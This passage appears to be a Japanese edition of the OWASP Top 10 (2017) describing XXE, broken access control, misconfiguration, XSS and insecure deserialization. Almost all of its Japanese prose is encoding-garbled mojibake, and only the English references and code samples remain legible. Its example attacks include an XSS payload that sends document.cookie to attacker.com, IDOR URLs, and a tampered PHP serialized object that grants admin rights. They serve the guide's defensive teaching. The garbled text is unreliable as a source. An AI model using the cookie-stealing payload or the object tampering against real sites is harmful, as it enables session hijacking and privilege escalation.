ēłėĺŁÝ�¯íÞðØģłĝąXMLĥĐĹĶŁĤñO�åÕXML
įĿěĠĖñÿêì�^ãăĂÖ

• ćįļēłėĺŁùèóSOAPıłęòWebĖłĬęòXMLįĿ
ěĠĖñÛØìÕĥĐĹĶŁĤĝĉį4�ŃDTDńÝ[�ñðêìØĂÖ
ðÛÕDTD�sąo�ñæĂ5«òĶďħĚĵóXMLįĿěĠĖñ
ÿêìvðĂèüÕOWASP Cheat Sheet 'XXE Prevention'ðïò�
Tą"�ñæĂî�ØÖ

• ćįļēłėĺŁÝ�'ãăèěĐĹļĢĈ×ĂØóėŁĒĽĖĉ
ŁĎŁŃSSOńò{xíIDò�sñSAMLą�uæĂÖSAMLóIDć
ĖłėĺŁñXMLą�uåìØĂèüÕ�;í×Ă&�DÝ×ĂÖ

• ćįļēłėĺŁÝĪłĘĺŁ1.2ÿā�òSOAPą�uæĂÖXMLČ
ŁĢĈĢĈÝSOAPĭľłĵŀłđñlãăìØĂîÕXXERQò>
®ą$áþæßðĂÖ

• XXERQñ6åì�;í×ĂîØÙâîóÕćįļēłėĺŁÝ
Billion LaughsRQ(XMLq<ą�ÙRQ)òÿÙðDoSRQñ�
;í×ĂîØÙâîîÕ÷ø(�í×ĂÖ

"��T
OWASP
• OWASP Application Security Verification Standard
• OWASP Testing Guide: Testing for XML ĉŁĘċđėĺŁ
• OWASP XXE Vulnerability
• OWASP Cheat Sheet: XXE Prevention
• OWASP Cheat Sheet: XML Security

0¤�T
• CWE-611: Improper Restriction of XXE
• Billion Laughs Attack
• SAML Security XML External Entity Attack
• Detecting and exploiting XXE in SAML Interfaces

§gVi
¥w�òĤľłħŁĒóÕÊÊ¼ąr4åÕ kæĂèüñ�&eíæÖ
�ÚìÕÊÊ¼ą§àñó��òâîÝ�&eíæ¸
• &�ð©āÕ¿ÆÃÂðïò�¬ãò�Øģłĝ=:ą�uåÕdB
ðģłĝòėļćĻĉĚą£áĂÖ

• ćįļēłėĺŁùèó-zîðĂĎĲľłĢĈŁĒėęĢĵí�
uãăìØĂæöìòÊÁÀįĿěĠĖÛÿôĻĉĮĻļñīĠğą
×ìĂÜÕćĠįĒľłĥæĂÖ�3¦�ğċĠďłą�uæĂÖç
åìÕÆÃ¹ÄóÆÃ¹Ä±µ³¶Üçă�¨òýòñXUæĂÖ

• ÃÉ¹ÆÄ±ºÎÍËÓ±ÆÎÍÍÓ±²ÊÊ¼±ÄÒÍÔÍÐÓÏÑÐ²ñ@ØÕćįļēłėĺŁ
�òæöìòÊÁÀīłĖíÊÁÀ0¤ČŁĢĈĢĈî»Ç»�sąo
�ñæĂÖ

• ĳŀĉĤļęĤV:ñÿĂĖłĪĖĉĥò��_�þÕÊÁÀĥĐĹ
ĶŁĤÕİĠĞÕĩłĥ�òEGò×ĂģłĝòĭĈĽĝļŁĒÕùè
óĖħĝĉĚą5�æĂÖ

• ÊÁÀùèóÊÆÀĭĆĉĽòćĠįĿłĥd�ñÛØìÕÊÆ»_�ð
ïą�uåì$�æĂÊÁÀą_�åìØĂâîą}�æĂÖ

• Æ¹ÆÇġłĽóĜłęĕłĥ�òÊÊ¼ą_�æĂòñ?~ëÝÕ
1ßòĉŁĢĒľłėĺŁą�Ù2�cí�¬ðćįļēłėĺŁ
íóÕJ ñÿĂĕłĥľĬĹłÝZ+ò¢L�í×ĂÖ

ýåâÙåèĕŁĤĿłĽÝíÞðØ.'ñóÕ	FīĠğÕ¹Ä¾ěĐĹ
ļĢĈĔłĤĊċĉÕ×ĂØóÉÍÌćįļēłėĺŁĭĆĉćĊčłĽ
ŃÉ¹½ńą�uåìÕÊÊ¼RQą_�Õy�ÕÛÿôĮĿĠđæĂâîą
_�åìßéãØÖ
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XML �4�1�
�
�! (XXE)

Euòåþæã: 2 �98: 2 _�òåþæã: 3 K�­: 3

RQ�óÕ�;ðĕłĥÕ�3¦�Õù
èó�'ą�uåìÕXMLSYąćĠį
ĿłĥåèāÕEGò×ĂĕŁĢŁġą
XMLĥĐĹĶŁĤñ)üĂâîÝíÞĂ.
'Õçò�;ðXMLįĿěĠĖąEuí
ÞùæÖ

1ßò%ØÊÁÀįĿěĠĖñÛØìÕ�\�4íÕ0¤Č
ŁĢĈĢĈŃÊÁÀ�s�ñ"p�òģłĝą#Aå5�ã
ăĂÈÅ¾ńąN4íÞùæÖ Æ¹ÆÇ ġłĽí�3¦�îa
Hą�öĂâîíâò*°ąw�íÞùæÖ »¹ÆÇ ġł
Ľíâò*°ą_�åČđęįĿĉĤą�ëáĂñóJ
 ñÿĂ
`ą�ÚĂC�Ý×āùæÖJ íĢęĤąæ
ĂðĀÕÊÊ¼òĢęĤVią�AæĂC�Ý×āùæÖâ
ăóÕ¶´µ·7òWníó��ñĢęĤãăìØðØèü
íæÖ

âăĀòeªóÕçò�òRQî(b
ñÕģłĝòM�ÕĖłĪÜĀòļķł
Ĥ�hò5�Õ�¤ėęĢĵòęĐĸŁÕ
ĖłĬę��RQò5�ñ�uíÞù
æÖ

ĬĘĨę­õò>®ò2ÞãóÕâò>
®ą$áĂćįļēłėĺŁîģłĝą�
�æĂC�Ýïă÷ï×ĂÜñÜÜê
ìØùæÖ
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A:

ZWĖĤĵčô�
ĖĤĵč #1: ĈĬĵĒĻĖĳĺÞÖĈĎċĺĢI0óĈĐĚĘçĂSQL
,�åóej�ôġĻĜą�{åîÙúç:
pstmt.setString(1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

ZW�õÖ"óīĴċĕïĨĴİĻĜ'acct'ą�JôĈĎċĺĢ|(ó
Y3åî§�åúç×©�òj�ÞòÙ1)ÖZW�õ�JôĈĎ
ċĺĢóĈĐĚĘïßúç×

http://example.com/app/accountInfo?acct=notmyacct

ĖĤĵč #2: ØĂZW�õÖīĴċĕïURLąS8åîĈĐĚĘåú
ç×�y�ĭĻėóĈĐĚĘçĂóõ�y�l°ÞE�ïç×

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

��ãăîÙòÙĲĻĕÞâăĀôĭĻėóĈĐĚĘçĂâðÞïß
ĂòĀÖn²ÞØāúç×�y�ïòÙ�Þ�y�ôĭĻėóĈĐĚ
ĘïßĂòĀÖêăýn²ïç×

�@G}�ôĮĊĺĢ
ĈĐĚĘ�DõĲĻĕÞ�ü�ÛĀăël°ÝĀ4ăë� ąåò
ÙÿÚóĮĵĖĻą©{åúç×ĮĵĖĻ©{ô6[õÖ�'ãăî
ÙòÙI0ô�­ÖçùîôġĻĜô3búëõ�2ÖúëõĲĻ
ĕ�°ÝĀ4ăëĩėĦĘm�ô9�óíòÞĂâðÞ5Ùïç×
��~òĈĐĚĘ�Dô�@Gõ
�ôÿÚò1)ó}zåúç»
• ÌÉÄÖ�ªôĈĬĵĒĻĖĳĺôvKÖÁËÅÄĭĻėą3bçĂâ
ðþĎĘĜį¼ÈÂZWğĻĶą"�ó�{çĂâðóÿìîÖĈĐ
ĚĘ�DôĝČĞĐą¥-ïßîåúÚ×

• �ďĻą	ôĲĻĕôķēĻģó3bçĂâðÞïßÖ	ôĲĻ
ĕôĈĎċĺĢą��úëõ�³ïßîåúÚ×

• l°`i×ĸđĊĺçĂâðòåóĲĻĕðåî� åëāÖ��
ĲĻĕðåîĸđĊĺåëaó�y�ðåî� ïßîåúÚ×

• İĜġĻĜôX
×ÃÊÇÆ¸ÍÐÎ¸ËÕÓÐÔļÃÍËĽĈĐĚĘ�DĢĻĐĺ
þl°`içĂëüóX
ãăĂ½ÕÕÓÒÐþÑÒÏÏÐÔĪĉĻĶģą�
zLúëõYäĆïßëāÖÃÍËôs�!ąH{ïßĂòñ×

• ½ÇÉÊô �8óÿìîl°ôòÙ¼ÈÂĈĐĚĘÞ�'ãăîåú
Ú×

• ��ãăîÙòÙĲĻĕą���ĭĻėøÖ��ĲĻĕą�l
°ĭĻėøA�īĴċęïßîåúÚ× ÈÇÊËÖÈÌËÖ¾¿Ä¿Ë¿İ
ěĞģøôĈĐĚĘ�DÞòÙ¼ÈÂøĈĐĚĘÞïßîåúÚ×

$�¤\
OWASP
• OWASP Proactive Controls: Access Controls
• OWASP Application Security Verification Standard: V4 Access 

Control
• OWASP Testing Guide: Authorization Testing
• OWASP Cheat Sheet: Access Control

4ª¤\
• CWE-22: Improper Limitation of a Pathname to a Restricted 

Directory ('Path Traversal')
• CWE-284: Improper Access Control (Authorization)
• CWE-285: Improper Authorization
• CWE-639: Authorization Bypass Through User-Controlled Key
• PortSwigger: Exploiting CORS Misconfiguration

¯o^r
ZW�ÞĈĐĚĘ�DôĝČĞĐþİĜġĻĜą3bçĂâðÞïß
èÖ�·ïßĂĔĻħĔĊģôēĻģúëõĔĻħķĘAPIï9_ã
ăĂ1)óôûÖĈĐĚĘ�Dõm�åúç×

• �­ĵěĻĘøôĈĐĚĘą±ÙîÖĈĐĚĘą#�ðåîQ*ç
Ă×

• ĈĐĚĘ�DİĎĥęįąÙìëĆ9�çĂðÖĈĬĵĒĻĖĳĺ
��ïêăą��{çĂ×CORSô�{òñõc<°óçĂâð×

• ĈĐĚĘ�DıġĶõÖĲĻĕÞñôÿÚòķēĻģïý
LÖ¡
&Öb]Öúëõ�±ïßĂÿÚóçĂôïõòàÖķēĻģôM
dlÞØĂâðą�VðåòáăöòĀòÙ×

• ĈĬĵĒĻĖĳĺw�ôĩėĦĘ�ô���qõģİĊĺıġĶ
ó�xãăĂE�ÞØĂ×

• WebĔĻħôġĉķĐĢĵĵĘĠĉĺđąs�óåÖĪćĊĶôİĜ
ġĻĜļ.gitòñĽðħĞĐĈĞĬĪćĊĶÞċČīĶĻĢó7.åò
Ùâðą��çĂ×

• ĈĐĚĘ�Dô6[ąĸđó�¬åÖE�óFæî�y�ó¢+
çĂļ�¦åî6[åîÙĂòñĽ×

• ķĻĢ�°çĂAPIðēĺĢĸĻĴõ� ZWğĻĶóÿĂ�:ą
c<°óPÛĂëüôNpïØĂ×

• JWTĢĻĐĺõĸđĈċĢCóõĔĻħĻ�ïs�ðãăĂùß
ïØĂ×

• ­}�ðQAĘĜĞĪõÖĈĐĚĘ�Dó®çĂm�µïô"�%
÷�)ĠĘĢą&ā�ăĂùßïØĂ×
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H{ôåþçã: 2 �?>: 2 j�ôåþçã: 2 O�µ: 3

ĈĐĚĘ�DôH{õZW�ô/fĘďĶ

ïç×¸´~ěĻĘēĻģ�gğĻĶ¹Ê¼ÊËºð

 ~ĈĬĵĒĻĖĳĺĠĘĢğĻĶ¹¾¼ÊËºõ

ĈĐĚĘ�Dô�7.ąj�ïßúçÞÖê

ăÞ7.çĂ1)óĈĐĚĘ�DÞd�ó

m�åîÙĂâðąj�çĂâðõïßúé

Ć×ĈĐĚĘ�DõÖN
kïÖ1)óÿìî

õu8ôĪķĻįĹĻĐóÜáĂĈĐĚĘ�

Dô�7.ô� ĝČĞĐóÿìî}�çĂ

âðÞïßúç×

ĈĐĚĘ�D�ôn²õÖ��óÖ� j�Þ�Ąă
òÙâðþĈĬĵĒĻĖĳĺ­}�óÿĂ�h~òm�Ġ
ĘĢÞ�ĄăòÙâðóÿìîzæúç× ĈĐĚĘ�Dô
j�õÖ¨=õ� !ãăë´~úëõ ~ĠĘĢóõ
©åîÙúéĆ× N ĠĘĢõÖÁËËÈİěĞģļÀ¿Ë;
ÈÌËòñĽÖēĺĢĸĻĴÖčīėČĐĢ�U$tòñïô
n�åîÙĂÖýåàõm�åîÙòÙĈĐĚĘ�Dąj
�çĂëüôc�ô^rïç×

O�øôB¶õÖZW�Þ��ĲĻĕÖ
�y�Öúëõulm�ąRìëĲĻ
ĕðåîTĂ�ìëāÖçùîôķēĻģ
ô
LÖĈĐĚĘÖb]Ö�±ą�ìîå
úÚâðïç×ĩėĦĘøôB¶õÖĈĬ
ĵĒĻĖĳĺðġĻĜô�£ô«�Gó
�7åúç×
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QPûĉğñ×�
ûĉğñ ¡¦¬ êđğ÷ĥûĝĤ×ùĤđĠ¿�<ÆÑºäêđğ÷ĥûĝĤùĥ

ČÒ¹äÖß¾¾æâÉ¶đĢĂõûĝĤùĥČ¾âùĤđĠ¿��ÅåÑº

ÜÊè·Ä×ùĤđĠêđğ÷ĥûĝĤÖØ¶QPz¿ùĥČÖ��Èä�Ö

áÁ
»Vp×|?G¿¹ãÜÈ·Ë×êđğ÷ĥûĝĤ¿ujl×øĤĀĥ

ĠÒĆďðĠć×êòíĤć¿2WÅåÑºÕºÓ¶QPzØĆďðĠć×čý

ģĥĈç
ÏÑĢöìĤÆ¶�Ï(ÏÑÆÜºÜÈ·

ûĉğñ ¡§¬ ĆëġõćğğýąëĤö¿ùĥČ�Òf"ÖÕÏÑºÜÊè·Q

PzØËåç�ÐÃ�Æ¶àÈàÈÓĆëġõćğç�qÆÑÆÜºÜÈ·QP

zØøĤčìĠdÝ×¯´µ´õĞýç�ÐÃÑĂíĤĢĥĈÆ¶ĆøĤčìĠÆ

Ñ¾âğČĥýïĤüĊêğĤöÆÑøĥĈç�ÜÈ·ËÆÑQPzØ¶Ë×ê

đğ÷ĥûĝĤ×c�Õêõþý�D�×sç�ÐÃÜÈ·

ûĉğñ ¡¨¬ êđğ÷ĥûĝĤùĥČ×�7¿¶�wÕïĞĥęĄþĥü¢�¼

Ù¶ýāĄõćġĥý£çĜĥúÖ�Èá»ÖÕÏÑºÜÈ·ÄåÖáÏÑ^EÕ

J/à|?Ò¹äÓÅåÑºäøĤĕĥċĤć×ČĥüĝĤÓºÏÍe-oÕ

_�¿ÅâÅåäHå¿¹ãÜÈ·

ûĉğñ ¡©¬ õĞíĈùĥĎýđĢČìĂØ¶�×®³±ĜĥúÖáäĆďðĠć

ÒìĤāĥċĄćÖ��ÅåÍ�YčĥėĄûĝĤçlLÆÑºÜÈ·Ä»ÕäÓ¶

^EÕJ/¿õĞíĈýćġĥüÖ�4Åå¶êõþýÅåÑÆÜºÜÈ·

|?Gn�×ĕìĤć
êđğ÷ĥûĝĤ¿��×á»Õâ¶HâÁ|?ÒÈ·

• êđğ÷ĥûĝĤýāĄõ×ºÉå¾×��Ö½Ãäþôěğąë
.h$×��¶¹äºØõĞíĈùĥĎýÒčĥėĄûĝĤ¿��
�Ö�7ÅåÑºä·

• F�×Õº^{¿Y"¶¹äºØìĤýćĥĠÅåÑºä(�¼Ù¶
F�×ÕºĕĥćàùĥĎý¶Ĕĥü¶êòíĤć¶i])·

• ĆďðĠć×êòíĤćÓčýģĥĈ¿Y"ÖÕÏÍÜÜ2WÅå
ÑºÕº·

• ïĞĥ�j¿ĜĥúÖ9ÆÑ¶ýāĄõćġĥýàË×���ÕJ
/ç,ÞïĞĥęĄþĥüç�Êä·

• êĄđöġĥĈÆÍûýąĘÒØ¶XS×þôěğąë^{¿f"
ÖÕÏÑºä¾aÆÁ�7ÅåÑºÕº·

• êđğ÷ĥûĝĤùĥČàêđğ÷ĥûĝĤďġĥĘģĥõ(�¼Ù¶
Struts�Spring� ASP.NET)�ĞìĐĞğ¶Ćĥāēĥýt×þ
ôěğąë×�7¿¶5�Õ�Ö�7ÅåÑºÕº·

• ùĥČ¿þôěğąìĒĄĂĥàĆëġõąëĐç�âÕ¾ÏÍã¶
5�Õ�Ö�7ÅåÑºÕ¾ÏÍãÈä·

• Āďćíîê¿)º¾|?Ò¹ä (A9:2017-Vp×|?G×¹ä
øĤĕĥċĤć×
lç'g)·

êđğ÷ĥûĝĤ×þôěğąëç�7ÈäđĢþýç�~% ÆÑx
ã�ÅÕºÓ¶ûýąĘ×ğýõØáã�ÁÕãÜÈ·

'y�R
OWASP
• OWASP Testing Guide: Configuration Management
• OWASP Testing Guide: Testing for Error Codes
• OWASP Security Headers Project
Ä×��ÒÅâÖpãÍº×Õâ¶ Application Security Verification 
Standard V19 Configuration ç'gÆÑÁÎÅº·

3��R
• NIST Guide to General Server Hardening
• CWE-2: Environmental Security Flaws
• CWE-16: Configuration
• CWE-388: Error Handling
• CIS Security Configuration Guides/Benchmarks

• Amazon S3 Bucket Discovery and Enumeration

�`Tb
5�ÖìĤýćĥĠÈäđĢþýÖ½ºÑ¶	�×ÄÓç8UÈÛÀ
ÒÈ¬
• xã�Æ@$ÈäđĢþýØ¶v&ÖÈÂ�×k1Ö;�Åå¶
aÆÁĢĄõĂíĤÈäÄÓ·�nà²­¶Zmk1Ø6�Ö+Çá
»Ö�7Æ¶ËåÌå×k1Ò�¸×��J/ç
lÈäÄÓ·
Ä×đĢþýç}#$Æ¶SÆº5�Õk1çþĄćêĄđÈä�
ÖØ¶M�çX:�ÖÈäÄÓ·

• đĞĄćďðĥĘØX:�×ß×ÓÆ¶F�×Õº^{àøĤĕĥ
ċĤć¶ĈôěęĤć¶ùĤđĠç�ÁÄÓ·
lÆÕº^{Óďġĥ
ĘģĥõØ¶��ßÆÁØìĤýćĥĠÆÕºÄÓ·

• ġĎěĥç8UÆÑ¶þôěğąë��×��ÓWS×�ÑÖ!¼¶
čĄăçujÈäđĢþý×�kÓÆÑčĄă×�7ç��ÖW
SÈäÄÓ¢­«¬§¥¦ª¤Vp×|?G×¹äøĤĕĥċĤć×

l ç'g£·õĞíĈýćġĥü×čĥėĄûĝĤØ¶�wÖġ
ĎěĥÈäÄÓ ¢�¼Ù¶³¨ Č÷Ąć×čĥėĄûĝĤ£·

• þöęĤć$ÆÍêđğ÷ĥûĝĤêĥôąõăĚØ¶þöęĤąĥ
ûĝĤàøĤąĉğÿĥûĝĤ¶õĞíĈ×þôěğąëöĠĥđ
¢­®°£çÓßÕÏÍøĤĕĥċĤćàąĉĤć�Ö¶"[oÒ5�
Õ��ãçßÍâÈ·

• þôěğąëĆëġõąëĐçõĞìêĤćÚ�äÄÓ·�¼Ù þ
ôěğąëĒĄĂĥ

• đĢþýç}#$ÆÑ�7×Y"Gç\�Æ¶k1ÈÛÑÖ�l
ÈäÄÓ·
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�����

7":	��01����

Il×ÆàÈÅ: 3 �>=: 3 \�×ÆàÈÅ: 3 N��: 2

QPzØ¶čĄăçAÑÑºÕºsçI
lÆÍã¶ĆďðĠć×êòíĤćà
æ
åÑºÕºĔĥü¶��ÅåÑºÕº
ďéìĠàĆëġõćğÕÔÖêõþýÆ¶
]�fÆÖêõþýÆÍã¶ûýąĘJ
/ç(CÆÍãÆÜÈ·

���Õþôěğąë×�7Ø¶Ô×ġēĠ×êđğ÷ĥ
ûĝĤýāĄõÖß�Äã¼ÜÈ·ËåØċĄćģĥõùĥ
ĎýàđĞĄćďðĥĘ¶WebùĥČ¶êđğ÷ĥûĝĤ
ùĥČ¶Ćĥāēĥý¶ďġĥĘģĥõ¶òýāĘøĥĈ¶
đġìĤýćĥĠÆÑ¹ä
KĖûĤàøĤąĉ¶ýćġĥ
üÒÈ·}#$ÆÍýôĚĉĥØ¶���Õ�7¶ÐÜã
ĆďðĠć×êòíĤćà�7¶F�×ÕºùĥĎýàġ
óûĥÕñđûĝĤÕÔ¿
æåÑºä×ç�ÐÃä×
Ö��ÒÈ·

Ä×_�ÖáÏÑ¶QPzØCÑÆÑ]
�fÆÖûýąĘ×Ćĥāà^{Öêõ
þýÆÑÆÜºÜÈ·0*ÖáÏÑØ¶Ë
×á»Õ_�ÖáÏÑûýąĘ��¿O
ÕæåÑÆÜºÜÈ·

ĎüċýÚ×B�Ø¶êđğ÷ĥûĝĤÓ
ĆĥāÖÔ×r=��¿F�ÓÅåÑ
ºä¾ÖáãÜÈ·
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ZXĉĖĬþã�
ĉĖĬþ ¾1:ÇòøğĬĄĲĉĪıäÅj¢íýċĄĲğõ×ÖÅ�·
�fáÈēĲĎõ
yÔÝÅ
�ãHTMLċėġĐĔõxOÔÝÈè
ÕÆ

(String) page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";

ZX�äĞīûĈÞěīĦĲĎÄCC’õ
�âY4ÔèÕ:

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.

ÃÒóâïñÅ�=�ãČĐĉĪıIDÍZX�ãûüĞćúĔâ¬�ÓóÅ
�=�ãČĐĉĪıÍ�Ú%ðóèÕÆ

pM:ZX�äÅøğĬĄĲĉĪıÍ
yÔÝÈò�!"ÓóÙCSRF
>�õÅXSSÞ�òÒßÍÞÎèÕÆ

�DI}�ãģúıĔ
XSSâä3�ºãĎúğÍ9/ÔÅ7Rä�=�ãĞīûĈÍĎĲ
ąĐĔßÓóèÕ:
ĬĝĮĂĒĐĕ XSS: øğĬĄĲĉĪıèÙäAPIÍÅĩĲĈ��ēĲ
Ďõ­�âj¢ËïæýċĄĲğ×ÖâÅHTML��ã�¯ßÔÝ*
ëÝÈòÆZXÍO�ÕòßÅZX�ä�=�ãĞīûĈÞ�Mã
HTMLíJavaScriptõ<�ÞÎòÆ��~âäÅĩĲĈäÅÈôîò
m»é3ćúĔíA+ġĲĊáàZXâ�Ú%ðóÙġĲĊâ«ñ
�ÏÙëãJ¨áĬıĂõ©êÒßâáòÆ

ċĔøĕ XSS: øğĬĄĲĉĪıèÙäAPIÍØãēĲĎõr="×Ö
âi�ÕòÆØóð��ēĲĎäÅFâ�ãĩĲĈèÙä�v�â
ïÚÝ²�ÓóòÒßâáòÆċĔøĕXSSäÅ7Rã3(Å½èÙä
±7ĬċĂßéáÓóòÆ

DOMĠĲċXSS: JavaScriptĝĮĲĥİĲĂÅĉıăĭġĲĊøğĬ
ĄĲĉĪıÅËïæAPIÍÅZX�ã�G&�áēĲĎõ!~â%ñ
ªöÞġĲĊâ��ÕòÒßâïñÅDOMĠĲċXSS�DIßáòÆ
vLõ�ÊåÅøğĬĄĲĉĪıä:�ÞáÈJavaScript APIâ>Ô
ÝZX�Í�G&�áēĲĎõ¬�ÔÝäÈÐáÈÆ

�0~áXSSZXâäÅČĐĉĪıã8%ÅøÿûıĔã�Ú%ñÅ6
��¤¢(MFA)ã-®ÅDOMęĲĕã�WèÙäY�(Ĕįúãe¼
õ�ÔÙ�ãįăúızµT��)ÅJ¨áčĝĔûüøãďûıįĲ
ĕíĀĲįāıă�ãĩĲĈãĞīûĈâ>ÕòZXáàÍ*èó
èÕÆ

$�§\
OWASP 
• OWASP Proactive Controls: Encode Data
• OWASP Proactive Controls: Validate Data
• OWASP Application Security Verification Standard: V5
• OWASP Testing Guide: Testing for Reflected XSS
• OWASP Testing Guide: Testing for Stored XSS
• OWASP Testing Guide: Testing for DOM XSS
• OWASP Cheat Sheet: XSS Prevention
• OWASP Cheat Sheet: DOM based XSS Prevention
• OWASP Cheat Sheet: XSS Filter Evasion
• OWASP Java Encoder Project

5¯§\
• CWE-79: Improper neutralization of user supplied input
• PortSwigger: Client-side template injection

³l^o
XSSõ³lÕòâäÅ�·ÞÎáÈēĲĎõ!~áĞīûĈĆıĒı
đÌð#�ÕòH�ÍÇñèÕÆ
�õ<_ÔèÕ¿

• c]ãRuby on RailsíReact JSáàÅXSSâJyÓóÉòēĲĎ
õ�!~âýċĄĲğÕòïÉ �ÓóÙĝĮĲĥİĲĂõ
yÕ
òÆ'ĝĮĲĥİĲĂâËÐòXSS>�ã´{õ�¤ÔÅ>�ã�
.5ßáòēĲĎ
yâÛÈÝäÅ­�á�võ�ÉÆ

• ĢēùÅ?IÅJavaScript�CSSíURLáàHTML��ãĆıĒĀ
ċĔâ1ÜÈÝÅ�·�fáÈHTTPĬĂýċĔēĲĎõýċĄĲğ
ÕòÒßÞÅĬĝĮĂĒĐĕËïæċĔøĕXSS�DIõ�qÞÎòÆ
�nÓóòēĲĎã£�áýċĄĲğPoä OWASP Cheat 
Sheet ‘XSS Prevention‘ õ$sãÒßÆ

• ĂīúøıĔ�ÞãĞīûĈĕĀĨĦıĔY4aâÅĆıĒĀċĔ�9
ãýıĆĲēùıăõ­yÕòÒßÞÅDOMĠĲċXSSçã>�ß
áòÆÒóÍ�ÊáÈ3(âäÅ OWASP Cheat Sheet 'DOM 
based XSS Prevention‘Þ¥`ÓóÝÈòÅ)kãĆıĒĀċĔ�
9ãýċĄĲğPoõĞīûĈÀÂÁâ­yÕòÒßìÞÎòÆ

• XSSâ>Õò6@³GU�ã�wßÔÝContent Security Policy 
(CSP)õd â ;ÕòÆÒóäÅįĲÿĭĝ÷úĭúıĂĭĲĕõ
�ÔÝJMãÇòĆĲĕõ �&�âÕò	ã�DIĳ�ĵěċĔī
ĚĲćĭõJyÔÙĝ÷úĭã�bÎÅ¡&ÓóÙĆıĒıđ°�
ĘĐĔİĲĂÌðV�ÓóÙ�DáīúĞīĬ�ĴÍ9/ÔáÈ3(
â g~ÞÇòÆ

��
�����

�70��30���2
�� (XSS)

JyãÔíÕÓ: 3 �CB: 3 j�ãÔíÕÓ: 3 Q�µ: 2
3�ºãXSSäÈÖóìÅ�!"đĲĭ
õyÈÝj�ËïæJyÕòÒßÍ&
�ÞÕÆ

èÙÅ¦Þì�PÞÎòÅXSSõJyÕ
òÙëãĝĮĲĥİĲĂì�[9/Ôè
ÕÆ

XSSäÅOWASP Top 10ã�Þä2|�â6Ï�ðóò
,¸ÞÇñÅøğĬĄĲĉĪı��ãËïØ��ã�Þ
j�ÓóèÕÆ

�!"đĲĭÞÅÈÏÛÌãXSS,¸õj�ÞÎèÕÆ
PHP�J2EE/JSP�èÙäASP.NETãïÉáOtÔÙ
Q�âËÈÝäÅuâØóÍ¹�ÞÕÆ

XSSãE¶äÅĬĝĮĂĒĐĕËïæ
DOMĠĲċã3(ä��BÅċĔøĕ
ã3(ä±7ßáñèÕÆ

��~á�=�ßÔÝÅ�=�ãĞīû
Ĉ�ÞĬħĲĔĆĲĕÍ<�ÓóòÒßâ
ïòÅ¤¢K2íČĐĉĪıã8%Å�
=�çãĤĭûüøNhÍSÑðóè
ÕÆ
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�?H|�êħāķĚ
XU�éöø��×úßIJüQáßÉËùÌëWØý×úßąĤ
ďĂĈĚêęĎĳÿĲāđéöøÉÿĥĳĊĸĎıķæ½ÃÀë�?éèø
ðÛÊ
�è»�¹êXU¼
• ąĤďĂĈĚæęĸĔh¨é°©ÙßXUĻęĎĳÿĲāđ�ðß
ëęĎĳÿĲāđCéÉRù�Ìü2aåÒùĈĲĐÑÿĥĳĊĸ
Ďıķå
z&�è0'ÉXU�ëÉÿĥĳĊĸĎıķĵďĖĈê
2aðßëÉ�JêĳĬĸĚċĸě9�ü�ÎùXUåËùÊ

• �.}èęĸĔWØýXUĻ^6êęĸĔh¨Ñ�:ü2Î÷ú
ä
ûúùöÍèÿĈĒĐ�D°©êXUåËùÊ

ĎĳÿĲāēĸĎıķÑÉ
�êöÍèz¦éÿĥĳĊĸĎıķå
z
×úù0'Ļ
• ĳĬĸĚ¯ðßëĵĸĆĴ�åêĥĵĒĐ¯§�ĹÄÃ¾õÀÃ¾ĺ
• ĶāĮĥĵĚċĴÉÆÈÇČĸĢĐÉīĖĒĸďĤĵĸĆĸ
• ćĭĖĎįºm�!
• ęĸĔĦĸĐÉćĭĖĎįČĸĠÉģþāĴĎĐĘĪ
• ¿ÅÅÃĈĖćĸÉ¿ÅÂÁģĄĸĪêġĲīĸĔÉ½ÃÀ��ĚĸĈķ

XUĎĜĳąê�
ĎĜĳą#1: ReactÿĥĳĊĸĎıķÑÉ�©êSpring BootĨāĈĵ
ČĸĢĐü+í�ÙðÛÊ °Z.��êĥĵĉĲĨĸëÉāĩįĸĔ
ĤĴèċĸěübÖÍæÙðÛÊ ÞÖåÉĥĵĉĲĨĸëÉ+í�Ùê
�CåĎĳÿĲāđÙßİĸčĸêuKüsÛÉæ�Í�n�üGÌ
âÒðÛÊ XU�ë Ĺbase64åăķċĸě×úäÌùÖæü�Ûĺ
"r00"æ�ÍJavaąĤďĂĈĚêĎĉĞĕĭélãÒÉJava Serial 
KillerėĸĴü
zÙäÿĥĳĊĸĎıķČĸĠĸ�åĳĬĸĚċĸěü
9�ÙðÛÊ

ĎĜĳą#2:ËùPHPģĄĸĲĪåëÉPHPąĤďĂĈĚêĎĳÿĲā
ēĸĎıķü
zÙäÉİĸčêİĸčID�ĵĸĴÉġĐĶĸěğĖ
ĎįõÞê	êuKü)òSuper Cookieü�6ÙðÛĻ
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

XU�ëÉĎĳÿĲāđ×úßąĤďĂĈĚü2aÙäXU��£é�
w�i²ü�ÎðÛ:
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

#�¢\
OWASP
• OWASP Cheat Sheet: Deserialization
• OWASP Proactive Controls: Validate All Inputs
• OWASP Application Security Verification Standard
• OWASP AppSecEU 2016: Surviving the Java Deserialization 

Apocalypse
• OWASP AppSecUSA 2017: Friday the 13th JSON Attacks

3«¢\
• CWE-502: Deserialization of Untrusted Data
• Java Unmarshaller Security
• OWASP AppSec Cali 2015: Marshalling Pickles

±k]o
7�èÿĸćĘĈĕĭü9vÛùéëÉĎĳÿĲāđ×úßąĤďĂĈ
Ěü�·åÒèÌęĸĔ���Ð÷%Õ�úèÌÐÉôÙÓëĎĳÿĲ
āđ<¡êęĸĔüĥĳĩĘĀĤèęĸĔ.êñéÙðÛÊ��ê<
�ü$úèÌ0'É
�ê±k]oÐ÷�â
�üf�ÙäÓà×
Ì:
• IJêËùąĤďĂĈĚêyNõęĸĔêWØýü±ÔßóéÉ
ĎĳÿĲāđ×úßąĤďĂĈĚéęďĔĴ�(èçê['H
ĕĂĖĈü9�ÛùÊ

• ċĸěë8�&�èĈĲĐé/ãÓßóÉąĤďĂĈĚüyNÛù
�éÉęĎĳÿĲāēĸĎıķéÏÌä";è.��ü@�ÛùÊ
ßàÙÉÖêOoü-ªÛù]oë9�rñèêåÉÖêOo·
ñéÛùÖæëÏ ó�dèÌÊ

